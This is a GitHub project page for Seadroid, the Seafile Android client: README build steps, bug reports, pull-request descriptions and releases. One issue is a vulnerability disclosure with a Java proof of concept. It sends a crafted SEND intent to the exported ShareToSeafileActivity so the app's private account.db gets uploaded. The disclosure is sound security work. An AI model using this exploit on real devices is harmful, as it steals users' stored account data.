Android client for Seafile

Related tags

App seadroid
Overview

Seafile Android Client Build Status

The application has been published onto the market for easy access:

Get it on Google Play Get it on F-Droid

Contributors

See Contributors Graph

Build the APK

  • Make sure you have installed the Android SDK then:

  • cd into seadroid directory

  • Create key.properties file or simply rename key.properties.example and change configurations to match yours.

  • Create keystore file if you don't have one

keytool -genkey -v -keystore app/debug.keystore -alias AndroidDebugKey -keyalg RSA -keysize 2048 -validity 1 -storepass android -keypass android -dname "cn=TEST, ou=TEST, o=TEST, c=TE"
  • Build with ./gradlew assembleRelease

You will get app/build/outputs/apk/seafile-${versionName}.apk after the build finishes.

Develop in Android Studio

Prerequisites

  • Android Studio
  • OpenJDK 8 / OracleJDK 8

Import project

  • Open Android Studio
  • Import project
  • Select seadroid directory
  • Choose import from gradle
  • Click next until import is completed

Develop in IntelliJ/Eclipse

For those who are using maven build structures, checkout the project from maven branch.

Internationalization

Contribute your translation

Please submit translations via Transifex: https://www.transifex.com/haiwen/seadroid/

Steps:

  1. Create a free account on Transifex (https://www.transifex.com/).
  2. Send a request to join the language translation.
  3. After accepted by the project maintainer, then you can upload your file or translate online.
Comments
  • Automatic image upload broken

    Automatic image upload broken

    The automatic image upload isn't working anymore. I used the feature a few years now but in the last months it got more and more broken. In the beginning the upload was delayed up to a day, but now the automatic upload dosn't work anymore for me. I use an android 8.0 phone with the latest version 2.2.14 from f-droid but the problem persist also with the version from the play store.

    I've tried to fix it by reinstalling the app multiple times but that doesn't help.

    opened by leahoswald 57
  • Can't Download/Upload anything other than PNG or JPG previews

    Can't Download/Upload anything other than PNG or JPG previews

    Continuing the issue from https://github.com/haiwen/seadroid/issues/866

    Seadroid appears to be unable to download files unless they are jpg or png previews.

    When viewing an image such as a JPG or PNG, the program shows a thumbnail. Clicking the "Download" button causes the screen to pop up a box saying "Downloading files...". This operation never finishes. The "Back" button does not work. The program must be force-closed.

    Attempting to download any other sort of file (e.g. PDF, MP3) results in a Toast that says "Download failed", followed by an endless stream of toasts that say Failed to download file "[filename

    This is using the latest available Seafile version from the Play store (2.2.39) and the latest available official Seafile server from Docker (6.3.4).

    opened by xobs 42
  • Migrate seadroid to gradle / Android Studio

    Migrate seadroid to gradle / Android Studio

    This pull request migrates seadroid to gradle. All dependencies are downloaded from maven central or are provided in the libraries folder.

    After pulling seadroid can be build with ./gradlew assembleDebug. Seadroid gets build and shows possible errors and lint messages. I also changed the travis build to use the android type, but I haven't test it.

    Android SDK versions and build tools can be configured in the root build.gradle which is applied for the application as well as the libraries. As a bonus the version code is the number of commits and the version name is the last tag + number of commits since then + hash. When releasing, a new tag should be created, then only the tag name is shown for the version.

    Files for maven build were removed because they won't work anymore.

    To open seadroid in Android Studio / IntelliJ select import -> from gradle -> next -> finish. The project will be imported and after a short while one can start programming.

    When releasing, uncomment the signingConfigs lines and build the app with ./gradlew assembleRelease. An apk should be in build/output afterwards.

    Fixes #176 #253 #428 .

    AndroidStudio 
    opened by amuttsch 38
  • Pictures never upload

    Pictures never upload

    v1.9.0 from Google Play on Android 4.4.4

    I have tried clearing the app data and deleting the folder in my Camera Upload library, and still newly taken photos do not appear.

    opened by tomchiverton 36
  • Refactor account storage and camera upload

    Refactor account storage and camera upload

    This PR refactors camera upload and the account storage. To be more precise, it does two things:

    1. It refactors the account storage. Instead of storing accounts in an SQL table, they are now stored in an Android-provided storage API. This is only done to allow us to do thing number 2.
    2. refactor camera upload. this changes most of the internal structure of the camera upload procedure. I tried to keep the UI as unchanged as possible, though.

    The patches have more detailed explanations in their individual commit messages.

    They should hopefully address the following issues:

    issue #277 (Camera upload function dumps all subdir files into single dir) issue #301 (Inconsistency in camera upload sync) issue #311 (second suggestion: target repo sub directories) issue #336 (file duplication when doing a full resync) issue #375 (Picture upload not acting as service?) issue #423 (Pictures never upload) [maybe. not sure what's going on there]

    Some further notes:

    • This patch set includes the patches from PR #422 as the same files are touched and thus to avoid merge conflicts.
    • Originally I also wanted to refactor the TransferService into a SyncAdapter. However this patchset took much longer than expected so I postponed the TransferService refactoring for a later time.
    • The Java 7 patch is not necessary, just a convenience. I can remove it, if you want to stay compatible with Java 6.
    • Due to the large number of changes, there might well be bugs remaining. ;) I've tested this patchset for some days in the emulator and on an Android 5.1 phone and will amend commits if I find more issues.
    • Please be especially aware of Shibboleth accounts and SeafilePro features. I had to touch code for both, but was not able to test the changes.
    • To the best of my (and AndroidStudio's) knowledge this should all be compatible with API level 8. However I didn't do any tests on an API 8 device.

    While this PR adds a feature or two, the main reason for its existence is to bring more stability to camera upload mechanism. So, to avoid replacing 5 old bugs with 10 new ones, this PR will need some thorough testing. Especially on

    • phones with Android 4.x or 2.x
    • non-standard camera apps

    [EDIT: I realized maybe I should write a couple of lines on the user-visible changes of this PR. Here it goes:]

    Accounts

    • Accounts can now be created/removed via Android Settings -> Account. It uses the same activities and should behave pretty much the same.
    • The "Pick type of Seafile server" dialog had to be refactored into an Activity with a list. Actually I'm not quite happy with that and I think the old Dialog looked slightly better (building Android UIs is still new to me). Unfortunately I couldn't figure out a way to get the old Dialog working reliably, as I had to move it out of AccountsManager into the SeafileAuthenticatorActivity.
    • Accounts are now stored seperately from all other SQL tables. This means that they will survive the cleaning of all app data (which is probably more useful to developers than anyone else ;)

    Camera upload

    • In Android Settings -> Account -> Seafile one can now see the timestamp of the last successfull camera upload sync. Also the user can manually trigger a sync there.
    • The directory chooser for picking local directories to upload is gone. It has been replaced with a list of media albums (basically the same list the Android gallery shows). If people had previously configured manually a list directories, after this patch the settings will revert back to the "Auto sync" setting.
    • The sync will now skip files that are already on the server and have the same file name and size.
    • The sync will now place image properly in subfolders on the server. The folders are named after the gallery albums (internally called "buckets").
    • As a target, subdirectories of repositories are now also possible.
    • Monitoring of the media store will now start at phone boot and after an APK upgrade.
    • Resyncs will happen regularily (about every 24h, scheduled by the Android OS)
    • In case of network errors, Android does an automatic retry with exponential backoff
    • Hard errors during sync (remote repo gone, auth error) are now made visible to the user as a notification.

    Migration

    • Accounts are migrated.
    • Default account is not migrated (due to settings refactoring). So the user has to select her preferred account once after upgrade.
    • Camera settings are migrated, except the "custom local folder" setting. That one will revert back to "auto select folders".
    • Camera sync will resync everything after upgrade. As the target folders are now different (in most cases "Camera" instead of "Camera Uploads") this will cause a full reupload of all local images.

    I'll be happy to address any upcoming bugs, issues and questions.

    opened by forouher 35
  • Image uplaod not working

    Image uplaod not working

    Looks like it fails to access my photos:

    OS : LineageOS 17.1

    03-13 16:14:34.368 28394 28458 W System.err: java.io.FileNotFoundException: /storage/emulated/0/DCIM/Camera/IMG_20210220_164313.jpg: open failed: EACCES (Permission denied)
    03-13 16:14:34.368 28394 28458 W System.err: 	at libcore.io.IoBridge.open(IoBridge.java:496)
    03-13 16:14:34.368 28394 28458 W System.err: 	at java.io.FileInputStream.<init>(FileInputStream.java:159)
    03-13 16:14:34.368 28394 28458 W System.err: 	at okio.Okio.source(Okio.java:167)
    03-13 16:14:34.368 28394 28458 W System.err: 	at com.seafile.seadroid2.httputils.RequestManager$1.writeTo(RequestManager.java:108)
    03-13 16:14:34.368 28394 28458 W System.err: 	at okhttp3.MultipartBody.writeOrCountBytes(MultipartBody.java:173)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.MultipartBody.writeTo(MultipartBody.java:114)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.CallServerInterceptor.intercept(CallServerInterceptor.java:72)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.connection.ConnectInterceptor.intercept(ConnectInterceptor.java:45)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:121)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.cache.CacheInterceptor.intercept(CacheInterceptor.java:93)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:121)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.BridgeInterceptor.intercept(BridgeInterceptor.java:93)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RetryAndFollowUpInterceptor.intercept(RetryAndFollowUpInterceptor.java:125)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:121)
    03-13 16:14:34.369 28394 28458 W System.err: 	at com.seafile.seadroid2.httputils.RequestManager$LoggingInterceptor.intercept(RequestManager.java:71)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:121)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.RealCall.getResponseWithInterceptorChain(RealCall.java:200)
    03-13 16:14:34.369 28394 28458 W System.err: 	at okhttp3.RealCall.execute(RealCall.java:77)
    03-13 16:14:34.369 28394 28458 W System.err: 	at com.seafile.seadroid2.SeafConnection.uploadFileCommon(SeafConnection.java:914)
    03-13 16:14:34.369 28394 28458 W System.err: 	at com.seafile.seadroid2.SeafConnection.uploadFile(SeafConnection.java:884)
    03-13 16:14:34.369 28394 28458 W System.err: 	at com.seafile.seadroid2.data.DataManager.uploadFileCommon(DataManager.java:711)
    03-13 16:14:34.369 28394 28458 W System.err: 	at com.seafile.seadroid2.data.DataManager.uploadFile(DataManager.java:705)
    03-13 16:14:34.369 28394 28458 W System.err: 	at com.seafile.seadroid2.transfer.UploadTask.doInBackground(UploadTask.java:95)
    03-13 16:14:34.370 28394 28458 W System.err: 	at com.seafile.seadroid2.transfer.UploadTask.doInBackground(UploadTask.java:23)
    03-13 16:14:34.370 28394 28458 W System.err: 	at android.os.AsyncTask$3.call(AsyncTask.java:378)
    03-13 16:14:34.370 28394 28458 W System.err: 	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    03-13 16:14:34.370 28394 28458 W System.err: 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
    03-13 16:14:34.370 28394 28458 W System.err: 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
    03-13 16:14:34.370 28394 28458 W System.err: 	at java.lang.Thread.run(Thread.java:919)
    03-13 16:14:34.370 28394 28458 W System.err: Caused by: android.system.ErrnoException: open failed: EACCES (Permission denied)
    03-13 16:14:34.370 28394 28458 W System.err: 	at libcore.io.Linux.open(Native Method)
    03-13 16:14:34.370 28394 28458 W System.err: 	at libcore.io.ForwardingOs.open(ForwardingOs.java:167)
    03-13 16:14:34.370 28394 28458 W System.err: 	at libcore.io.BlockGuardOs.open(BlockGuardOs.java:252)
    03-13 16:14:34.370 28394 28458 W System.err: 	at libcore.io.ForwardingOs.open(ForwardingOs.java:167)
    03-13 16:14:34.370 28394 28458 W System.err: 	at android.app.ActivityThread$AndroidOs.open(ActivityThread.java:7255)
    03-13 16:14:34.370 28394 28458 W System.err: 	at libcore.io.IoBridge.open(IoBridge.java:482)
    03-13 16:14:34.370 28394 28458 W System.err: 	... 34 more
    03-13 16:14:34.372 28394 28458 E UploadTask: Upload exception unexpected end of stream
    03-13 16:14:34.372 28394 28458 W System.err: java.net.ProtocolException: unexpected end of stream
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http1.Http1Codec$FixedLengthSink.close(Http1Codec.java:304)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okio.ForwardingSink.close(ForwardingSink.java:47)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okio.RealBufferedSink.close(RealBufferedSink.java:236)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.CallServerInterceptor.intercept(CallServerInterceptor.java:73)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.connection.ConnectInterceptor.intercept(ConnectInterceptor.java:45)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:121)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.cache.CacheInterceptor.intercept(CacheInterceptor.java:93)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:121)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.BridgeInterceptor.intercept(BridgeInterceptor.java:93)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RetryAndFollowUpInterceptor.intercept(RetryAndFollowUpInterceptor.java:125)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:121)
    03-13 16:14:34.373 28394 28458 W System.err: 	at com.seafile.seadroid2.httputils.RequestManager$LoggingInterceptor.intercept(RequestManager.java:71)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:147)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.internal.http.RealInterceptorChain.proceed(RealInterceptorChain.java:121)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.RealCall.getResponseWithInterceptorChain(RealCall.java:200)
    03-13 16:14:34.373 28394 28458 W System.err: 	at okhttp3.RealCall.execute(RealCall.java:77)
    03-13 16:14:34.373 28394 28458 W System.err: 	at com.seafile.seadroid2.SeafConnection.uploadFileCommon(SeafConnection.java:914)
    03-13 16:14:34.373 28394 28458 W System.err: 	at com.seafile.seadroid2.SeafConnection.uploadFile(SeafConnection.java:884)
    03-13 16:14:34.373 28394 28458 W System.err: 	at com.seafile.seadroid2.data.DataManager.uploadFileCommon(DataManager.java:711)
    03-13 16:14:34.373 28394 28458 W System.err: 	at com.seafile.seadroid2.data.DataManager.uploadFile(DataManager.java:705)
    03-13 16:14:34.374 28394 28458 W System.err: 	at com.seafile.seadroid2.transfer.UploadTask.doInBackground(UploadTask.java:95)
    03-13 16:14:34.374 28394 28458 W System.err: 	at com.seafile.seadroid2.transfer.UploadTask.doInBackground(UploadTask.java:23)
    03-13 16:14:34.374 28394 28458 W System.err: 	at android.os.AsyncTask$3.call(AsyncTask.java:378)
    03-13 16:14:34.374 28394 28458 W System.err: 	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    03-13 16:14:34.374 28394 28458 W System.err: 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
    03-13 16:14:34.374 28394 28458 W System.err: 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
    03-13 16:14:34.374 28394 28458 W System.err: 	at java.lang.Thread.run(Thread.java:919)
    
    
    opened by bellegarde-c 29
  • Camera upload is not working anymore

    Camera upload is not working anymore

    Camera upload hasn't been working for two weeks now, for no apparent reason at all. I tried clearing the app's cache and forcibly restarting it, all to no avail.

    Server: Pro 6.2.13 Android: 8.1.0 App version: 2.2.1

    opened by Wurzelmann 29
  • Cannot login on private server

    Cannot login on private server

    I've set up a private seafile server (version 1.4.0) with apache2 fastcgi. I've opened all ports the wiki mentions and the PC clients work very well, but when I try to login from Android (version from Play Store) I just get "Login failed" without any more information (with correct username and password). I do not know whether this is a server or client issue, but seeing that it only happens for the Android client for me, I'm reporting it here (If I'm overlooking something obvious here, I apologise)

    Steps to reproduce:

    1. Download 1.4.0 seafile-server
    2. Setup seafile-server
    3. Setup apache2 virtualhost (as per wiki page)
    4. Open ports as per wiki page
    5. Start seafile-server and seahub with fastcgi
    6. Create normal user via seahub
    7. Download seafile client for Android from play store
    8. Try to login to the previously created user on Android, "Login failed"

    EDIT: Just tried to reach the REST API via these: https://github.com/haiwen/seafile/wiki/Seafile-web-API and curl http://"mydomain"/api2/ping/ works, but returns nothing, further investigation results that mod_jk.log states "jk_map_to_storage::mod_jk.c (3585): missing uri map for www."mydomain":/api2/ping"

    opened by MoritzMaxeiner 23
  • Seadroid reupload pictures (from camera) to server after server deletion

    Seadroid reupload pictures (from camera) to server after server deletion

    Hello,

    I Actually experience some trouble with my seafile community server. My android phone re-upload every photos to the server even if I remove them from the seafile folder (via the app)

    The only solution I have for the moment is to disable the photo upload from the app… but I need this feature…

    I don’t understand why… the phone re upload over 600 photos… my other device don’t have any trouble And no error on the server …

    Server : CE 6.3.4 Android APP : 2.2.15

    Any ideas ?

    Thanks

    opened by ketoraire 21
  • Document Provider: Write support and other changes

    Document Provider: Write support and other changes

    These are a couple of patches to the Seafile Document Provider.

    I've split them into a patchset for easier reviewing. However each patch by itself will very likely not compile.

    • Support writing (uploading) files
    • Support creating files/directories
    • Show starred files
    • Improve repository list: use seafile icons for repositories, show descriptions
    • fix: don't allow user to enter encrypted repos. that was previously broken.
    • improve account (root) list: display account email adress in 2nd line
    • use a thread pool for concurrent tasks (instead of spawning a new Thread each time)
    • remove verbose FileNotFoundExceptions (with translated strings). they aren't shown to the user anyway.
    • some refactoring
    • some small fixes

    Test Case

    see test case

    List of roots: roots

    List of repositories: repos

    DocumentProvider 
    opened by forouher 20
  • Add server-side thumbnail support to Seadroid

    Add server-side thumbnail support to Seadroid

    This uses the API introduced in Seafile 4.0.6.

    If the image is cached, the thumbnail is calculated locally. Otherwise it is fetched from the server.

    Remaining issues:

    • The thumbnail API is different to the rest of the api2 in regards to the path encoding (it expects it as part of the URL instead of the "p" parameter). The URL encoding is a bit ugly right now. I've tested it with folder names containing whitespaces and non-ASCII unicode symbols.

    I don't know if there is a technical reason for handling the "path" parameter differently in the thumbnails API. But it was a design mistake, it might be better to change the thumnail API before this patch set is merged.

    • The list entries sometimes resize by a few pixels when the thumbnail arrives. Unfortunately I'm not familiar enough with Android graphics code to be able fix that.
    opened by forouher 20
  • Vulnerability - Possible to steal any protected files on Android

    Vulnerability - Possible to steal any protected files on Android

    Description

    There is an issue that allows to retrieve any files from protected directory of application - /data/data/com.seafile.seadroid2/*. The issue is caused by exported activity com.seafile.seadroid2.ui.activity.ShareToSeafileActivity with intent filters SEND and android.intent.action.SEND_MULTIPLE that accept URI of files for upload. Any 3rd-party application could start this activity and upload on seafile server any files such as database file from protected directory.

    For example the same vulnerabilities with similar impact in another apps:

    • https://hackerone.com/reports/377107
    • https://hackerone.com/reports/1454002

    Proof of Concept

    // Java_PoC.java
    protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
    
            StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
            StrictMode.setVmPolicy(builder.build());
            Intent intent = new Intent("android.intent.action.SEND");
            intent.setClassName("com.seafile.seadroid2", "com.seafile.seadroid2.ui.activity.ShareToSeafileActivity");
            intent.setType("*/*");
            intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
            ArrayList mStreamsToUpload = new ArrayList<>();
            mStreamsToUpload.add(Uri.parse("file:///data/data/com.seafile.seadroid2/databases/account.db"));
            intent.putExtra("android.intent.extra.STREAM", mStreamsToUpload);
            startActivity(intent);
        }
    

    Impact

    This vulnerability is capable of stealing file with confidential data from protected directory of application.

    Occurrences

    https://github.com/haiwen/seadroid/blob/master/app/src/main/java/com/seafile/seadroid2/ui/activity/ShareToSeafileActivity.java#L118 There is not some check for directory /data/data.

    opened by alustinoff 0
  • Can't add account

    Can't add account

    Hi! I'm getting the same problem as this very old issue: whenever I put in account login details for my "Other Seafile Server", when I submit the details it throws me right back to the "Add Account" screen without adding the account. The same happens when going through the "Accounts & Sync" page of my Android Settings. I have tried deleting the app and all of its data, and reinstalling it, as well as a different Seafile account. My phone appears in the Admin interface, and I've tried logging in after deleting it from the Admin interface too, but no joy.

    My phone doeesn't have an SD card so I don't know what could be causing it. I'm running Seadroid 2.2.46 and Android 11. Thanks for any help!

    opened by willthong 2
  • Editing file does not save it

    Editing file does not save it

    App Version: 2.2.46

    If I tap on a text based file a preview opens with an edit button. I can hit that button and will be send into an editor. There I can change the files content. Pressing the save button then closes the file editor and opens the preview again with my changes. But if I go back and open the file again all changes are gone. They are also never uploaded to the server.

    opened by CubicrootXYZ 4
  • (BUG)Problems playing video online

    (BUG)Problems playing video online

    When playing a video online in the Android client, there will be a 99% probability that the video will fail to play and crash, There is a 90% chance of flashing out of the client. I'm Android 12, and I haven't tested other phones for the time being, but I've seen this problem online.

    opened by Oiuiuiu 0
  • [BUG] Upload/download failed when seafile server FILE_SERVER_ROOT host doesn't match SERVICE_URL host and FILE_SERVER_ROOT use HTTPS

    [BUG] Upload/download failed when seafile server FILE_SERVER_ROOT host doesn't match SERVICE_URL host and FILE_SERVER_ROOT use HTTPS

    Version

    • seadroid 2.2.46
    • seafile server 9.0.4 on Debian 11

    Problem

    Can't upload or download any files with seadroid, and no any requests in seafhttp nginx access log. But in same config, seahub web works OK.

    Reappear

    Seafile server on server A, nginx on server A proxy pass to local seahub port 8000, nginx on server B proxy pass to server A seafile port 8082, and both nginx use https. (Nginx on server B use http will works OK.)

    In some special reason, I can't use nginx on same server to access seahub and seafhttp.

    opened by kuresaru 2
Releases(2.2.48)
Owner
null
MEGA Android Client - A fully-featured client to access your Cloud Storage provided by MEGA

A fully-featured client to access your Cloud Storage provided by MEGA. This document will guide you to build the application on a Linux machine with Android Studio.

Mega Limited 1.1k Jan 3, 2023
Twidere-Android Twidere is a powerful twitter client for Android 1.6+ 1 , which gives you a full Holo experience and nearly full Twitter's feature.

Twidere for Android Material Design ready and feature rich Twitter/Mastodon/Fanfou app for Android 4.1+. Enjoy Fediverse now! Twidere-Android is maint

Twidere Project 2.7k Jan 2, 2023
An MVP Dribbble client for Android Mobile, Tablet, Wear and TV.

Bourbon ![Sidebar] (https://img.shields.io/badge/Sidebar-06%2F05%2F2016-orange.svg) Bourbon is a simple Dribbble client built for Android Mobile, Wear

Joe Birch 1.1k Dec 12, 2022
An open source Hacker News client for Android.

Hacker News Come chat with us on Gitter.im! An open source Hacker News client for Android phones & tablets. Available on the Google Play Store How to

Matthew Bishop 227 Dec 11, 2022
📱:newspaper: Android client for the Nextcloud news/feed reader app

Nextcloud News Reader – Android App The Nextcloud News Reader Android App is under AGPLv3 License terms. Bugs and enhancements can be reported under:

Nextcloud 589 Dec 31, 2022
GitHub client for Android based on the abandoned official app

ForkHub ForkHub started off as a fork of the official Android app from GitHub, and has since seen lots of improvements. You can see a comprehensive li

Jon Ander Peñalba 2.8k Dec 28, 2022
📱:newspaper: Android client for the Nextcloud news/feed reader app

Nextcloud News Reader – Android App The Nextcloud News Reader Android App is under AGPLv3 License terms. Bugs and enhancements can be reported under:

Nextcloud 591 Jan 8, 2023
An android client application for the awesome kanji learning website wanikani.com

End of Life This project has reached EOL status. It will no longer be updated, patched, or supported. If you are interested in continuing the work, fe

İhsan Işık 507 Nov 12, 2022
A simple android Twitter client written in Kotlin

Blum Blum is an unofficial, simple, fast Twitter client written in Kotlin. This project is a complete rewrite of the Java version. Screenshot Build To

Andrea Pivetta 77 Nov 29, 2022
A project which demonstrate how to develop a custom client on android for dribbble.com

##What is this? This is a project with custom client app on android for https://dribbble.com, which you can browse the popular icon and animation, lik

ZhangLei 599 Nov 14, 2022
A light Sina Weibo client for Android

BlackLight 新浪微博客户端 请注意,当前BlackLight的开发已经被冻结,直到2016年高考后重启。 The development progress has been FROZEN till June 2016. 详细介绍以及Changelog请见Play商店。 https://pl

Paper Airplane Dev Team/纸飞机开发团队 884 Nov 22, 2022
DNS over HTTPS / DNS over Tor / DNSCrypt client, firewall, and connection tracker for Android.

RethinkDNS + Firewall for Android An OpenSnitch-inspired firewall and network monitor + a pi-hole-inspired DNS over HTTPS client with blocklists. In o

null 1.1k Jan 5, 2023
Twire is an alternative and open source Twitch client for Android

Twire This is a fork of the Pocket Plays for Twitch Android application. More information in this issue. Twire is an open source, ad-free Twitch brows

Twire 749 Jan 2, 2023
Github client for Android

OctoDroid This application provides access to GitHub and lets you stay connected with your network Download Main features Repository List repositories

Azwan Adli 1.5k Dec 30, 2022
This is a Reddit client on Android written in Java

Infinity-For-Reddit This is a Reddit client on Android written in Java. It does not have any ads and it features clean UI and smooth browsing experien

null 2.6k Jan 9, 2023
Free and Open Source, full-featured torrent client for Android

Free and Open Source, full-featured torrent client for Android

Yaroslav Pronin 1.3k Jan 8, 2023
A modular and portable open source XMPP client library written in Java for Android and Java (SE) VMs

Smack About Smack is an open-source, highly modular, easy to use, XMPP client library written in Java for Java SE compatible JVMs and Android. Being a

Ignite Realtime 2.3k Dec 28, 2022
A modular and portable open source XMPP client library written in Java for Android and Java (SE) VMs

Smack About Smack is an open-source, highly modular, easy to use, XMPP client library written in Java for Java SE compatible JVMs and Android. Being a

Ignite Realtime 2.3k Dec 21, 2021
Redditek - A reddit client for Android developped in Kotlin

Redditech The Redditech project is a reddit client created using Kotlin and Redd

Arthur Robine 1 Jan 6, 2022